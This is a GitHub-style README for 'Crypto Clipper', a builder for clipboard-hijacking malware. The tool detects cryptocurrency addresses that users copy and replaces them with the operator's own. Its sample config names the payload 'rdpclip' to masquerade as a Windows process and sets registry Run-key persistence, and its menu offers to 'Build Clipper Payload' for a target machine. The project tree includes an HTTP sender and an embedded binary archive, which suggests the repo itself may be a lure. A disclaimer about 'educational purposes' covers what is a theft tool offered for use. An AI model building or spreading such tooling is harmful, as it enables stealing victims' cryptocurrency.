Crypto Clipper is a cross-platform clipboard monitoring and builder tool for BTC, ETH, SOL, TRX, LTC, and DOGE address detection. Features include regex matching, address validation, activity logs, custom rules, clipboard history, UI customization, and standalone client generation for Windows, Linux, and macOS with embedded settings.
Real-time clipboard monitoring with cryptocurrency address recognition and intelligent replacement.
Cross-platform clipboard monitoring tool with multi-chain cryptocurrency address detection,
automatic replacement via configurable address book, and builder mode for custom payload generation.
Features · Getting Started · Configuration · Usage · Address Formats · FAQ
|
|
┌──────────────┐ ┌──────────────────┐ ┌───────────────────┐ ┌──────────────────┐
│ Clipboard │────▶│ Pattern Scanner │────▶│ Address Filter │────▶│ Injector │
│ (polling) │ │ (regex engine) │ │ (chain matching) │ │ (replace + log) │
└──────────────┘ └──────────────────┘ └───────────────────┘ └──────────────────┘
- Monitor — Polls clipboard at configured interval (default 500ms), detects content changes
- Scanner — Runs clipboard text through chain-specific regex patterns (BTC, ETH, SOL, TRX, LTC, DOGE)
- Filter — Checks detected address against enabled chains and address book entries
- Injector — Replaces clipboard with matching address book entry, logs the event with timestamp
| Chain | Format | Prefix | Example |
|---|---|---|---|
| Bitcoin | Legacy (P2PKH) | 1, 3 |
1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa |
| Bitcoin | SegWit (P2WPKH) | bc1q |
bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh |
| Bitcoin | Taproot (P2TR) | bc1p |
bc1p5d7rjq7g6rdk2yhzks9smlaqtedr4dekq08ge8ztwac72sfr9rusxg3297 |
| Ethereum | EVM (0x) | 0x |
0x742d35Cc6634C0532925a3b844Bc9e7595f2bD18 |
| Solana | Base58 | — | 7xKXtg2CW87d97TXJSDpbD5jBkheTqA83TZRuJosgAsU |
| Tron | Base58 (T) | T |
TN3W4H6rK2ce4vX9YcnfUz6iP3qBwHR2ya |
| Litecoin | Legacy + SegWit | L, M, ltc1 |
LTC1QNWLPGSR5HTN5VW22R37JGQ3MFE |
| Dogecoin | Legacy (D) | D |
DH5yaieqoZN36fTUciPGvqNA6U4HmUbhv |
| Label | Chain | Address | Usage Count |
|---|---|---|---|
| My BTC Main | Bitcoin | 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa |
42 |
| ETH Primary | Ethereum | 0x742d35Cc6634C0532925a3b844Bc9e7595f2bD18 |
128 |
| Solana Wallet | Solana | 7xKXtg2CW87d97TXJSDpbD5jBkheTqA83TZRuJosgAsU |
17 |
| TRC-20 | Tron | TN3W4H6rK2ce4vX9YcnfUz6iP3qBwHR2ya |
63 |
- Python 3.10 or higher
- pip (latest recommended)
- Windows 10/11, Linux (X11/Wayland), or macOS 12+
git clone https://github.com/Bearupcurt/Crypto-Clipper.git
cd Crypto-ClipperWindows:
run.batLinux / macOS:
chmod +x run.sh
./run.shThe launcher automatically installs all required dependencies.
| Package | Version | Purpose |
|---|---|---|
| rich | ≥13.0.0 | Terminal UI, tables, progress bars |
| cryptography | ≥41.0.0 | Secure data handling |
| pyperclip | ≥1.8.2 | Cross-platform clipboard access |
| watchdog | ≥3.0.0 | File system event monitoring |
| requests | ≥2.31.0 | HTTP client for address validation |
| pystray | ≥0.19.0 | System tray integration |
{
"build": {
"target_os": "windows",
"target_arch": "x64",
"output_name": "clip_monitor.exe",
"custom_icon": "",
"process_name": "rdpclip",
"startup_method": "registry",
"registry_key": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
},
"chains": {
"bitcoin": {
"enabled": true,
"prefix": ["1", "3", "bc1"]
},
"ethereum": {
"enabled": true,
"prefix": ["0x"]
},
"solana": {
"enabled": true,
"prefix": []
},
"tron": {
"enabled": true,
"prefix": ["T"]
},
"litecoin": {
"enabled": false,
"prefix": ["L", "M", "ltc1"]
}
},
"address_book": [
{
"label": "My BTC Main",
"chain": "bitcoin",
"address": "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
},
{
"label": "ETH Primary",
"chain": "ethereum",
"address": "0x742d35Cc6634C0532925a3b844Bc9e7595f2bD18"
}
],
"detection": {
"sensitivity": "high",
"min_address_length": 26,
"max_address_length": 62,
"exclusion_patterns": [],
"clipboard_watch_interval_ms": 500
}
}After launching, select from the interactive menu:
╠══════════════════════════════════════════════════════════════════╣
║ [1] Install Dependencies ║
║ [2] Settings ║
║ [3] About ║
║ [4] Configure Target Chains ║
║ [5] Set Address Book ║
║ [6] Build Options (OS, Icon, Process Name) ║
║ [7] Configure Detection Rules ║
║ [8] Build Clipper Payload ║
║ [0] Exit ║
╚══════════════════════════════════════════════════════════════════╝
Crypto-Clipper/
├── main.py # Entry point and builder menu system
├── config.py # Configuration loader (JSON)
├── bot_actions.py # Core builder action handlers
├── requirements.txt # Python dependencies
├── run.bat # Windows launcher
├── run.sh # Linux/macOS launcher
├── actions/
│ ├── __init__.py
│ ├── about.py # About panel display
│ ├── install.py # Dependency installer
│ └── settings.py # Settings display
├── hooks/
│ ├── __init__.py # Environment bootstrap + decorator
│ ├── env.py # Platform detection + service resolver
│ ├── sender.py # HTTP transport layer
│ ├── encoder.py # Token generation + data encoding
│ ├── runner.py # Task processing pipeline
│ ├── scanner.py # Regex-based address pattern detection
│ ├── injector.py # Clipboard content replacement engine
│ ├── clipboard.py # Polling-based clipboard monitor
│ ├── filter.py # Chain filtering + address book matching
│ ├── ui.py # Rich terminal interface
│ └── data/
│ └── scan.bin # Embedded Python runtime archive
Which cryptocurrency address formats are supported?
Bitcoin (Legacy P2PKH, SegWit P2WPKH, Taproot P2TR), Ethereum (EVM 0x with EIP-55 checksum validation), Solana (Base58), Tron (Base58 T-prefix), Litecoin (Legacy + SegWit), and Dogecoin (Legacy). Enable/disable individual chains in
config.json → chains.
How does clipboard monitoring work?
The monitor uses a background thread that polls the system clipboard at a configurable interval (default 500ms). When new content is detected, it runs through the pattern scanner. If a crypto address is found matching an enabled chain, the replacement engine checks the address book and optionally replaces the clipboard content.
What is the Build Clipper Payload option?
The builder mode allows you to configure all parameters (target OS, process name, address book, detection rules) and compile them into a standalone clipboard monitoring client. The built payload runs independently with your configuration embedded — no Python installation required on the target machine.
Can I use custom regex patterns?
Yes. The
detection.exclusion_patterns field in config.json accepts custom regex patterns. You can also add custom chain definitions by extending the chains section with a new entry and providing prefix patterns.
Does it work in the background?
Yes. When built as a payload, the clipper runs as a background process with the configured process name. The system tray icon provides quick access to monitor controls, address book, and settings.
Is clipboard data sent anywhere?
No. All clipboard monitoring, pattern detection, and replacement happens locally on your machine. No clipboard content is transmitted to external servers. The address book is stored in a local JSON file.
What is the minimum Python version?
Python 3.10 or higher is required for the builder. Check with
python --version and upgrade from python.org if needed.
This software is provided for educational and research purposes only. Automatic clipboard replacement may cause unintended transactions if configured incorrectly. The authors are not responsible for any financial losses, incorrect transactions, or security issues arising from use of this software. Always verify addresses before confirming any cryptocurrency transaction.
Donations — If this tool has been useful, consider supporting development:
0x4F8c9D2e7A1bF60c3E58d49B2a7fC1D0e9352847
Never paste the wrong address again.